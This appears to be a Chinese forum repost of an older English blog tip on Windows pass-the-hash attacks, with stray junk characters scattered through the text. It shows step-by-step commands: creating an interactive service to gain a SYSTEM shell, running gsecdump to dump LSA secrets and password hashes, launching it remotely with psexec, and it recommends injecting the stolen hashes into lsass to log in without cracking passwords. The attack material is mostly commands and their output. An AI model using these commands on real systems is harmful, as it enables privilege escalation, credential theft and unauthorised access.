HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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, H) K2 o1 J! d  Y% L$ ?9 e7 @5 yC:\>sc start shellcmdline
4 L  ^0 B# ]7 I% {[SC] StartService FAILED 1053:

9 @  K( H6 o* f/ ~- Z% S8 m! j) d, gThe service did not respond to the start or control request in a timely fashion.
4 ?% q  V' Q2 |$ Y8 n4 Z- ]- a* j, r
C:\>sc delete shellcmdline
9 B( L" L% y+ ][SC] DeleteService SUCCESS
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/ g* j3 y$ c. Q$ Q* I- ^6 _& OThen in the new DOS window:
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Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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: H& N3 y. l; e% q+ a% }# C0 `C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
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/ g7 Z5 Q: ~0 v* [# q! N4 lC:\WINDOWS\system32>gsecdump -h
% H) t: x/ q2 I5 ~% Ngsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
( g; I/ a! |0 P9 l+ \' \$ g; Zusage: gsecdump [options]

" p, D- C- @# b  B0 b7 T/ Foptions:
! Z; |. j% _4 f2 D, d$ a* E-h [ --help ] show help
/ I! m2 L% y6 G0 K-a [ --dump_all ] dump all secrets
$ l1 ]/ t) z* E2 ]& {  @, k# o-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
) l6 G' r) _' P0 l4 h+ Q-s [ --dump_hashes ] dump hashes from SAM/AD
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Although I like to use:

% w8 R# `+ A) E2 D1 h# }5 V) yPsExec v1.83 - Execute processes remotely
" W% q/ _# C! K% m. S5 I& TCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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; S. N- [9 c9 c: z4 ~9 h8 LC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

& Q! V0 B4 N- G5 i# v1 Wto get the hashes from active logon sessions of a remote system.
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These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

- ~6 }. z1 j3 P) [0 q+ Q& O7 v9 T提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

  n/ U9 E' l/ A0 C2 \我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。